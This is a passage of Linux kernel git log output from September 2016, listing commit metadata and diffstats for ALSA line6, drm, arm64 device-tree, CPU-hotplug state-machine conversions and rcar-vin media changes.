Krutak Date: Sun Sep 18 20:59:24 2016 +0200 ALSA: line6: Allow different channel numbers for in/out Changes bytes_per_frame to bytes_per_channel. Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/capture.c | 8 ++++++-- sound/usb/line6/driver.h | 2 +- sound/usb/line6/pcm.h | 2 +- sound/usb/line6/playback.c | 14 +++++++++++--- sound/usb/line6/pod.c | 3 +-- sound/usb/line6/podhd.c | 4 +--- sound/usb/line6/toneport.c | 2 +- 7 files changed, 22 insertions(+), 13 deletions(-) commit 7a0f55aeeb8f1fa32a119d34ddfefc6100936692 Author: Andrej Krutak Date: Sun Sep 18 20:59:23 2016 +0200 ALSA: line6: Support assymetrical in/out configurations Splits max_packet_size to max_packet_size_in/out (e.g. for different channel counts). Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/capture.c | 10 +++++----- sound/usb/line6/pcm.c | 33 +++++++++++++++++++-------------- sound/usb/line6/pcm.h | 5 +++-- sound/usb/line6/playback.c | 2 +- 4 files changed, 28 insertions(+), 22 deletions(-) commit 79faa2b048b23f28a24a7b232d8933cb53df95b7 Author: Andrej Krutak Date: Sun Sep 18 20:59:22 2016 +0200 ALSA: line6: Add high-speed USB support This has two parts: * intervals_per_second setup (high speed needs 8000, instead of 1000) * iso_buffers setup (count of iso buffers depends on USB speed, 2 is not enough for high speed) Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/capture.c | 10 +++++++++- sound/usb/line6/driver.c | 15 ++++++++++----- sound/usb/line6/driver.h | 15 ++++++++++++--- sound/usb/line6/pcm.h | 7 +++---- sound/usb/line6/playback.c | 2 +- 5 files changed, 35 insertions(+), 14 deletions(-) commit b2233d97a0e64aa1f0557ffb409c957748ae7f3a Author: Andrej Krutak Date: Sun Sep 18 20:59:21 2016 +0200 ALSA: line6: Enable different number of URBs for frame transfers This basically changes LINE6_ISO_BUFFERS constant to a configurable iso_buffers property. Signed-off-by: Andrej Krutak Signed-off-by: Takashi Iwai sound/usb/line6/capture.c | 17 +++++++++++------ sound/usb/line6/driver.c | 1 + sound/usb/line6/driver.h | 2 ++ sound/usb/line6/pcm.c | 21 ++++++++++++++------- sound/usb/line6/pcm.h | 2 +- sound/usb/line6/playback.c | 19 ++++++++++++------- 6 files changed, 41 insertions(+), 21 deletions(-) commit a119a2c4c093716193574675590ea4a7835fa277 Merge: 6f9a53e ba1f4d8 Author: Arnd Bergmann Date: Mon Sep 19 22:35:21 2016 +0200 Merge tag 'zte-defconfig64-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux into next/arm64 Pull "ZTE arm64 defconfig updates for 4.9" from Shawn Guo: - Enable ZTE ZX family support in arm64 defconfig * tag 'zte-defconfig64-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux: arm64: defconfig: enable ZTE ZX related config commit 6f9a53ee2376329a3e8d08d852cd08540b4070b2 Merge: dc8c76d 12496ae Author: Arnd Bergmann Date: Mon Sep 19 22:34:26 2016 +0200 Merge tag 'zte-soc64-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux into next/arm64 Pull "ZTE arm64 SoC changes for 4.9" from Shawn Guo: - Add a Kconfig option for ZTE ZX SoC family support * tag 'zte-soc64-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux: arm64: add ZTE ZX SoC family commit 80d9cf3474da8c9ea8fa28baf2ae876e54f815ce Merge: 85f8f59 2e673c7 Author: Arnd Bergmann Date: Mon Sep 19 22:32:27 2016 +0200 Merge tag 'zte-dt64-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux into next/dt64 Pull "ZTE arm64 device tree changes for 4.9" from Shawn Guo: - Add initial DTS support for ZTE ZX296718 SoC and ZX296718 EVB board. * tag 'zte-dt64-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux: arm64: dts: Add ZTE ZX296718 SoC dts and Makefile commit 85f8f5938cd6c3a219a0b14ba700fe6a19b3bce6 Merge: 473326a 39936ae Author: Arnd Bergmann Date: Mon Sep 19 22:31:14 2016 +0200 Merge tag 'xgene-dts-for-v4.9' of https://github.com/AppliedMicro/xgene-next into next/dt64 Pull "X-gene DTS changes queued for v4.9" from Duc Dang: This change set includes: + DTS entry to enable SoC PMU for X-Gene v1 SoC + DTS entry to enable SoC PMU for X-Gene v2 SoC + PCIe legacy interrupt polarity fix for X-Gene + X-Gene SoC hwmon DTS entry + DTS entries for X-Gene v2 CPU clock * tag 'xgene-dts-for-v4.9' of https://github.com/AppliedMicro/xgene-next: arm64: dts: apm: Add DT node for APM X-Gene 2 CPU clocks arm64: dts: apm: Add X-Gene SoC hwmon to device tree arm64: dts: apm: Fix interrupt polarity for X-Gene PCIe legacy interrupts arm64: dts: apm: Add APM X-Gene v2 SoC PMU DTS entries arm64: dts: apm: Add APM X-Gene SoC PMU DTS entries commit 473326a8d00e9c9139991aeaeec6d01fe633ddf2 Merge: 3717903 93970e6 Author: Arnd Bergmann Date: Mon Sep 19 22:29:45 2016 +0200 Merge tag 'mvebu-dt64-4.9-2' of git://git.infradead.org/linux-mvebu into next/dt64 Pull "mvebu dt64 for 4.9 (part 2)" from Gregory CLEMENT: - enable MSI for PCIe on Armada 7K/8K * tag 'mvebu-dt64-4.9-2' of git://git.infradead.org/linux-mvebu: arm64: dts: marvell: enable MSI for PCIe on Armada 7K/8K commit 26e34d2d8ba7aca0fe86e5362ce5811749df77b2 Merge: b81a617 cd98e85 Author: Dave Airlie Date: Tue Sep 20 06:24:26 2016 +1000 Merge tag 'imx-drm-next-2016-09-19' of git://git.pengutronix.de/git/pza/linux into drm-next imx-drm active plane reconfiguration, cleanup, FSU/IC/IRT/VDIC support - add active plane reconfiguration support (v4), use the atomic_disable callback - stop calling disable_plane manually in the plane destroy path - let mode cleanup destroy mode objects on driver unbind - drop deprecated load/unload drm_driver ops - add exclusive fence to plane state, so the atomic helper can wait on them, remove the open-coded fence wait from imx-drm - add low level deinterlacer (VDIC) support - add support for channel linking via the frame synchronisation unit (FSU) - add queued image conversion support for memory-to-memory scaling, rotation, and color space conversion, using IC and IRT. * tag 'imx-drm-next-2016-09-19' of git://git.pengutronix.de/git/pza/linux: gpu: ipu-v3: Add queued image conversion support gpu: ipu-v3: Add ipu_rot_mode_is_irt() gpu: ipu-v3: fix a possible NULL dereference drm/imx: parallel-display: detach bridge or panel on unbind drm/imx: imx-ldb: detach bridge on unbind drm/imx: imx-ldb: detach panel on unbind gpu: ipu-v3: Add FSU channel linking support gpu: ipu-v3: Add Video Deinterlacer unit drm/imx: add exclusive fence to plane state drm/imx: fold ipu_plane_disable into ipu_disable_plane drm/imx: don't destroy mode objects manually on driver unbind drm/imx: drop deprecated load/unload drm_driver ops drm/imx: don't call disable_plane in plane destroy path drm/imx: Add active plane reconfiguration support drm/imx: Use DRM_PLANE_COMMIT_NO_DISABLE_AFTER_MODESET flag drm/imx: ipuv3-crtc: Use the callback ->atomic_disable instead of ->disable gpu: ipu-v3: Do not wait for DMFC FIFO to clear when disabling DMFC channel commit b81a6179b6035a77d9d56d08ba1c0f81d6d4c2c5 Merge: bd4a68d 6e05f3d Author: Dave Airlie Date: Tue Sep 20 06:23:22 2016 +1000 Merge tag 'drm-intel-next-2016-09-19' of git://anongit.freedesktop.org/drm-intel into drm-next - refactor the sseu code (Imre) - refine guc dmesg output (Dave Gordon) - more vgpu work - more skl wm fixes (Lyude) - refactor dpll code in prep for upfront link training (Jim Bride et al) - consolidate all platform feature checks into intel_device_info (Carlos Santa) - refactor elsp/execlist submission as prep for re-submission after hang recovery and eventually scheduling (Chris Wilson) - allow synchronous gpu reset handling, to remove tricky/impossible/fragile error recovery code (Chris Wilson) - prep work for nonblocking (execlist) submission, using fences to track depencies and drive elsp submission (Chris Wilson) - partial error recover/resubmission of non-guilty batches after hangs (Chris Wilson) - full dma-buf implicit fencing support (Chris Wilson) - dp link training fixes (Jim, Dhinkaran, Navare, ...) - obey dp branch device pixel rate/bpc/clock limits (Mika Kahola), needed for many vga dongles - bunch of small cleanups and polish all over, as usual [airlied: printing macros collided] * tag 'drm-intel-next-2016-09-19' of git://anongit.freedesktop.org/drm-intel: (163 commits) drm/i915: Update DRIVER_DATE to 20160919 drm: Fix DisplayPort branch device ID kernel-doc drm/i915: use NULL for NULL pointers drm/i915: do not use 'false' as a NULL pointer drm/i915: make intel_dp_compute_bpp static drm: Add DP branch device info on debugfs drm/i915: Update bits per component for display info drm/i915: Check pixel rate for DP to VGA dongle drm/i915: Read DP branch device SW revision drm/i915: Read DP branch device HW revision drm/i915: Cleanup DisplayPort AUX channel initialization drm: Read DP branch device id drm: Helper to read max bits per component drm: Helper to read max clock rate drm: Drop VGA from bpc definitions drm: Add missing DP downstream port types drm/i915: Add ddb size field to device info structure drm/i915/guc: general tidying up (submission) drm/i915/guc: general tidying up (loader) drm/i915: clarify PMINTRMSK/pm_intr_keep usage ... commit bd4a68da1989a3735b9c183422effc177e2d5ae8 Merge: 9f8cf16 af1f85d Author: Dave Airlie Date: Tue Sep 20 06:17:38 2016 +1000 Merge branch 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-next More radeon and amdgpu changes for 4.9. Highlights: - Initial SI support for amdgpu (controlled by a Kconfig option) - misc ttm cleanups - runtimepm fixes - S3/S4 fixes - power improvements - lots of code cleanups and optimizations * 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux: (151 commits) drm/ttm: remove cpu_address member from ttm_tt drm/radeon/radeon_device: remove unused function drm/amdgpu: clean function declarations in amdgpu_ttm.c up drm/amdgpu: use the new ring ib and dma frame size callbacks (v2) drm/amdgpu/vce3: add ring callbacks for ib and dma frame size drm/amdgpu/vce2: add ring callbacks for ib and dma frame size drm/amdgpu/vce: add common ring callbacks for ib and dma frame size drm/amdgpu/uvd6: add ring callbacks for ib and dma frame size drm/amdgpu/uvd5: add ring callbacks for ib and dma frame size drm/amdgpu/uvd4.2: add ring callbacks for ib and dma frame size drm/amdgpu/sdma3: add ring callbacks for ib and dma frame size drm/amdgpu/sdma2.4: add ring callbacks for ib and dma frame size drm/amdgpu/cik_sdma: add ring callbacks for ib and dma frame size drm/amdgpu/si_dma: add ring callbacks for ib and dma frame size drm/amdgpu/gfx8: add ring callbacks for ib and dma frame size drm/amdgpu/gfx7: add ring callbacks for ib and dma frame size drm/amdgpu/gfx6: add ring callbacks for ib and dma frame size drm/amdgpu/ring: add an interface to get dma frame and ib size drm/amdgpu/sdma3: drop unused functions drm/amdgpu/gfx6: drop gds_switch callback ... commit 15ae0ea4bf4395c5ba7a3242138a528bd3dfbb14 Author: Ville Syrjälä Date: Mon Sep 19 16:33:54 2016 +0300 drm/sun4i: Fix sparse warnings drm/sun4i/sun4i_tv.c:181:21: warning: symbol 'ntsc_video_levels' was not declared. Should it be static? drm/sun4i/sun4i_tv.c:185:21: warning: symbol 'pal_video_levels' was not declared. Should it be static? drm/sun4i/sun4i_tv.c:189:21: warning: symbol 'ntsc_burst_levels' was not declared. Should it be static? drm/sun4i/sun4i_tv.c:193:21: warning: symbol 'pal_burst_levels' was not declared. Should it be static? drm/sun4i/sun4i_tv.c:197:20: warning: symbol 'ntsc_color_gains' was not declared. Should it be static? drm/sun4i/sun4i_tv.c:201:20: warning: symbol 'pal_color_gains' was not declared. Should it be static? drm/sun4i/sun4i_tv.c:205:26: warning: symbol 'ntsc_resync_parameters' was not declared. Should it be static? drm/sun4i/sun4i_tv.c:209:26: warning: symbol 'pal_resync_parameters' was not declared. Should it be static? drm/sun4i/sun4i_tv.c:213:16: warning: symbol 'tv_modes' was not declared. Should it be static? Cc: Maxime Ripard Signed-off-by: Ville Syrjälä Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_tv.c | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) commit b067a7be411ccb31b6cc866fc213670c3acf4001 Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:54 2016 +0200 x86/apic/uv: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-19-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/x86/kernel/apic/x2apic_uv_x.c | 31 ++++++------------------------- 1 file changed, 6 insertions(+), 25 deletions(-) commit 84c9ceefecb8fe51c4bfa2a5424dd73bc024e41d Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:53 2016 +0200 s390/mm/pfault: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Cc: linux-s390@vger.kernel.org Cc: Peter Zijlstra Cc: Heiko Carstens Cc: rt@linutronix.de Cc: Martin Schwidefsky Link: http://lkml.kernel.org/r/20160906170457.32393-18-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/s390/mm/fault.c | 30 ++++++++++++------------------ include/linux/cpuhotplug.h | 1 + 2 files changed, 13 insertions(+), 18 deletions(-) commit e476d3129100ba18daea2224f38fdd7195118d4b Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:52 2016 +0200 mips/loongson/smp: Convert to hotplug state machine Install the callbacks via the state machine. [ tglx: Reuse the MIPS_SOC_PREPARE state ] Signed-off-by: Sebastian Andrzej Siewior Acked-by: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: Peter Zijlstra Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-17-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/mips/loongson64/loongson-3/smp.c | 34 ++++++++-------------------------- 1 file changed, 8 insertions(+), 26 deletions(-) commit dd6d7c6f3dc136c1bec6def840f7fa53f84d1fe6 Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:51 2016 +0200 mips/octeon/smp: Convert to hotplug state machine Install the callbacks via the state machine. [ tglx: Renamed the state to MIPS_SOC_PREPARE so it can be reused by other SOCs ] Signed-off-by: Sebastian Andrzej Siewior Acked-by: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: Peter Zijlstra Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-16-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/mips/cavium-octeon/smp.c | 24 +++--------------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 4 insertions(+), 21 deletions(-) commit 8c58898b3ecb213ad7c52aa0c7c9d3201e559be1 Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:50 2016 +0200 fault-injection/cpu: Convert to hotplug state machine Install the callbacks via the state machine. This is just a temporary vehicle to keep the interface working for now, It'll be replaced by the sysfs interface which allows to step through the hotplug state machine step by step. Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: Akinobu Mita Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-15-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner include/linux/cpuhotplug.h | 1 + lib/cpu-notifier-error-inject.c | 46 +++++++++++++++++++++++++++++++++++------ 2 files changed, 41 insertions(+), 6 deletions(-) commit 30e92153b4e6f1cd01e30c34d9ef6f0986f96b0e Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:49 2016 +0200 padata: Convert to hotplug state machine Install the callbacks via the state machine. CPU-hotplug multinstance support is used with the nocalls() version. Maybe parts of padata_alloc() could be moved into the online callback so that we could invoke ->startup callback for instance and drop get_online_cpus(). Signed-off-by: Sebastian Andrzej Siewior Cc: Steffen Klassert Cc: Peter Zijlstra Cc: linux-crypto@vger.kernel.org Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-14-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner include/linux/padata.h | 2 +- kernel/padata.c | 88 ++++++++++++++++++++++++++++---------------------- 2 files changed, 51 insertions(+), 39 deletions(-) commit 27622b061eb4bb4d16b5d61219ac10a792010321 Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:48 2016 +0200 cpufreq: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Acked-by: "Rafael J. Wysocki" Cc: linux-pm@vger.kernel.org Cc: Peter Zijlstra Cc: Viresh Kumar drivers/cpufreq/cpufreq.c | 38 ++++++++++++-------------------------- 1 file changed, 12 insertions(+), 26 deletions(-) commit 64f3bf2f85c5690228200d6b94eb6847049af70d Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:47 2016 +0200 ACPI/processor: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Acked-by: "Rafael J. Wysocki" Cc: Peter Zijlstra Cc: linux-acpi@vger.kernel.org Cc: rt@linutronix.de Cc: Len Brown Link: http://lkml.kernel.org/r/20160906170457.32393-12-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner drivers/acpi/processor_driver.c | 91 +++++++++++++++++++------------------ drivers/acpi/processor_throttling.c | 4 +- include/acpi/processor.h | 4 +- include/linux/cpuhotplug.h | 1 + 4 files changed, 52 insertions(+), 48 deletions(-) commit 8904f5a5afc4dd74e8fe2ab3eeb98018ef02f3e6 Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:46 2016 +0200 virtio scsi: Convert to hotplug state machine Install the callbacks via the state machine. It uses the multi instance infrastructure of the hotplug code to handle each interface. virtscsi_set_affinity() is removed from virtscsi_init() because virtscsi_cpu_notif_add() (the function which registers the instance) is invoked right after it and the cpuhp_state_add_instance() functions invokes the startup callback on all online CPUs. The same thing can not be applied virtscsi_cpu_notif_remove() because virtscsi_remove_vqs() invokes virtscsi_set_affinity() with affinity = false as argument but the old CPU_DEAD state invoked the function with affinity = true (which does not match the DEAD callback). Signed-off-by: Sebastian Andrzej Siewior Cc: "James E.J. Bottomley" Cc: linux-scsi@vger.kernel.org Cc: "Martin K. Petersen" Cc: "Michael S. Tsirkin" Cc: Peter Zijlstra Cc: virtualization@lists.linux-foundation.org Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-11-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner drivers/scsi/virtio_scsi.c | 76 ++++++++++++++++++++++++++++++---------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 50 insertions(+), 27 deletions(-) commit a4e0591ece7d88634a802c4076db8c0debbde805 Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:45 2016 +0200 oprofile/timer: Convert to hotplug state machine Install the callbacks via the state machine and let the core invoke the callbacks on the already online CPUs. Since the online target runs always on the target CPU we can drop smp_call_function_single(). The functions is invoked with interrupts off to keep the old calling convention. If the maintainer things that this function can be called with interrupts enabled then it can be removed :) Signed-off-by: Sebastian Andrzej Siewior Cc: Robert Richter Cc: Peter Zijlstra Cc: oprofile-list@lists.sf.net Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-10-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner drivers/oprofile/timer_int.c | 44 +++++++++++++++++++++++--------------------- 1 file changed, 23 insertions(+), 21 deletions(-) commit 9a659f43dfea27cca423d4e80809be447f4c9ce7 Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:44 2016 +0200 block/softirq: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: Jens Axboe Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-9-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner block/blk-softirq.c | 27 ++++++++++----------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 11 insertions(+), 17 deletions(-) commit 75e12ed65312a56401f3b286ac7e12994301371c Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:43 2016 +0200 lib/irq_poll: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: Jens Axboe Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-8-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner include/linux/cpuhotplug.h | 1 + lib/irq_poll.c | 26 +++++++++----------------- 2 files changed, 10 insertions(+), 17 deletions(-) commit 29bd7fbc071598e939526f782293dbe137be3768 Author: Sebastian Andrzej Siewior Date: Wed Sep 7 18:45:23 2016 +0200 x86/microcode: Convert to hotplug state machine Install the callbacks via the state machine. CPU_UP_CANCELED_FROZEN() is not preserved: It is only there to free memory in an error case because it is assumed if the CPU does show up on resume it won't be seen ever again. As per Borislav: |IOW, you don't need mc_cpu_dead(). Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: Borislav Petkov Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160907164523.46a2xnffha4bv63g@linutronix.de Signed-off-by: Thomas Gleixner arch/x86/kernel/cpu/microcode/core.c | 52 ++++++++++++------------------------ 1 file changed, 17 insertions(+), 35 deletions(-) commit 515332336be71d014bca1d29369c5d72baa38f71 Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:41 2016 +0200 sh/SH-X3 SMP: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: linux-sh@vger.kernel.org Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-6-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/sh/kernel/cpu/sh4a/smp-shx3.c | 26 +++++--------------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 6 insertions(+), 21 deletions(-) commit 6b8d642239e866debbaa37f25e53837a5d141f33 Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:40 2016 +0200 ia64/mca: Convert to hotplug state machine Install the callbacks via the state machine and let the core invoke the callbacks on the already online CPUs. Signed-off-by: Sebastian Andrzej Siewior Cc: Fenghua Yu Cc: Tony Luck Cc: linux-ia64@vger.kernel.org Cc: Peter Zijlstra Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-5-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/ia64/kernel/mca.c | 26 ++++---------------------- 1 file changed, 4 insertions(+), 22 deletions(-) commit a4fa9cc220fef29162d38a0ada71f5569a116087 Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:39 2016 +0200 ARM/OMAP/wakeupgen: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Acked-by: Tony Lindgren Cc: Peter Zijlstra Cc: rt@linutronix.de Cc: linux-omap@vger.kernel.org Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/20160906170457.32393-4-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/arm/mach-omap2/omap-wakeupgen.c | 35 +++++++++++++---------------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 14 insertions(+), 22 deletions(-) commit 657ebf7a2354f39cc7d3f4e64ee49dbf1c3cae4f Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:38 2016 +0200 ARM/shmobile: Convert to hotplug state machine Install the callbacks via the state machine so the old notifier based cpuhotplug infrastructure can be removed. Signed-off-by: Sebastian Andrzej Siewior Cc: linux-sh@vger.kernel.org Cc: Peter Zijlstra Cc: Magnus Damm Cc: Simon Horman Cc: rt@linutronix.de Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/20160906170457.32393-3-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/arm/mach-shmobile/platsmp-scu.c | 26 ++++++++------------------ include/linux/cpuhotplug.h | 1 + 2 files changed, 9 insertions(+), 18 deletions(-) commit c23a7266e6599e74305cc5b790f93398bb212380 Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:37 2016 +0200 arm64/FP/SIMD: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Acked-by: Will Deacon Cc: Peter Zijlstra Cc: Catalin Marinas Cc: rt@linutronix.de Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/20160906170457.32393-2-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/arm64/kernel/fpsimd.c | 22 +++++----------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 6 insertions(+), 17 deletions(-) commit 142a0e11b52c18a82c4fe55132b762005dda05c0 Merge: 6ff7b7a 2cfd100 Author: Mauro Carvalho Chehab Date: Mon Sep 19 16:35:26 2016 -0300 Merge tag 'docs-next' of git://git.lwn.net/linux.git into patchwork Merge back from docs-next in order to get the cdomain extension. With such extension, the number of warnings when building docs in nitpick mode reduced from 22 to 2 warnings. * docs-next/docs-next: docs/driver-model: fix typo DMA-API-HOWTO: is no more doc-rst:c-domain: function-like macros arguments doc-rst:c-domain: fix sphinx version incompatibility Documentation/filesystems: Fixed typo docs: Don't format internal MPT docs docs: split up serial-interfaces.rst docs: Pull the HSI documentation together docs: Special-case function-pointer parameters in kernel-doc docs: make kernel-doc handle varargs properly x86: fix memory ranges in mm documentation documentation/scsi: Remove nodisconnect parameter doc: ioctl: Add some clarifications to botching-up-ioctls docs: split up the driver book Docs: sphinxify device-drivers.tmpl commit 6ff7b7aff34a4c21953ebf360d8941aeec0a215e Author: Ulrich Hecht Date: Thu Sep 15 14:33:24 2016 -0300 [media] media: rcar-vin: use sink pad index for DV timings Signed-off-by: Ulrich Hecht Acked-by: Laurent Pinchart Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-v4l2.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8a2192be4e272e9105b5ed97f154f5bf396ca9d0 Author: Ulrich Hecht Date: Thu Sep 15 14:33:23 2016 -0300 [media] rcar-vin: implement EDID control ioctls Adds G_EDID and S_EDID. Signed-off-by: Ulrich Hecht Acked-by: Niklas Söderlund Acked-by: Laurent Pinchart Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-v4l2.c | 48 +++++++++++++++++++++++++++++ drivers/media/platform/rcar-vin/rcar-vin.h | 2 ++ 2 files changed, 50 insertions(+) commit 474cde669dfe49da07eed8e9c2d8c30016fa701c Author: Niklas Söderlund Date: Thu Sep 15 09:18:36 2016 -0300 [media] MAINTAINERS: Add entry for the Renesas VIN driver The driver is maintained and supported, document it as such. Signed-off-by: Niklas Söderlund Acked-by: Laurent Pinchart Acked-by: Simon Horman Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab MAINTAINERS | 9 +++++++++ 1 file changed, 9 insertions(+) commit b6f556cb93a97de133efb8bad37e298b49d8ac78 Author: Niklas Söderlund Date: Fri Sep 2 13:45:01 2016 -0300 [media] media: rcar-vin: add support for V4L2_FIELD_ALTERNATE The HW can capture both ODD and EVEN fields in separate buffers so it's possible to support V4L2_FIELD_ALTERNATE. This patch add support for this mode. At probe time and when S_STD is called the driver will default to use V4L2_FIELD_INTERLACED if the subdevice reports V4L2_FIELD_ALTERNATE. The driver will only change the field type if the subdevice implements G_STD, if not it will keep the default at V4L2_FIELD_ALTERNATE. The user can always explicitly ask for V4L2_FIELD_ALTERNATE in S_FMT and the driver will use that field format. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-dma.c | 26 ++++++++++++++++++++------ drivers/media/platform/rcar-vin/rcar-v4l2.c | 13 +++++++++++++ 2 files changed, 33 insertions(+), 6 deletions(-) commit bb1e41ba324fe4bb71be3ef8d0eda29f0ba44ffa Author: Peter Griffin Date: Wed Sep 14 14:27:55 2016 +0100 power: reset: st: Remove obsolete platforms from dt doc This patch removes support for STiH415/6 SoC's from the st-restart dt binding documentation, as support for these platforms is being removed from the kernel. It also updates the dt example to a currently supported platform. Signed-off-by: Peter Griffin Cc: Signed-off-by: Sebastian Reichel Documentation/devicetree/bindings/power/reset/st-reset.txt | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit c6b3d8fc79a93aa1139c080bbb7402db846cc9f7 Author: Niklas Söderlund Date: Fri Sep 2 13:45:00 2016 -0300 [media] media: rcar-vin: fix height for TOP and BOTTOM fields The height used for V4L2_FIELD_TOP and V4L2_FIELD_BOTTOM where wrong. The frames only contain one field so the height should be half of the frame. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-v4l2.c | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) commit d6482537f666ab024925e5a126cfaeede34a3801 Author: Niklas Söderlund Date: Fri Sep 2 13:44:59 2016 -0300 [media] media: rcar-vin: fix bug in scaling It was not possible to scale beyond the image size of the video source limitation. The output frame would be bigger but the captured image was limited to the size of the video source. The error was that the crop boundary was set after the requested frame size and not the video source size. This patch breaks out the resetting of the crop, compose and format to separate functions so the error wont creep back. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-v4l2.c | 105 ++++++++++++++-------------- 1 file changed, 54 insertions(+), 51 deletions(-) commit 8ad5d85efd813281046cb87366c350321a2d64ca Author: Peter Griffin Date: Wed Sep 14 14:27:54 2016 +0100 power: reset: st-poweroff: Remove obsolete platforms. This patch removes support for STiH415/6 SoC's from the st-poweroff driver, as support for these platforms is being removed from the kernel. Signed-off-by: Peter Griffin Cc: Signed-off-by: Sebastian Reichel drivers/power/reset/st-poweroff.c | 41 --------------------------------------- 1 file changed, 41 deletions(-) commit 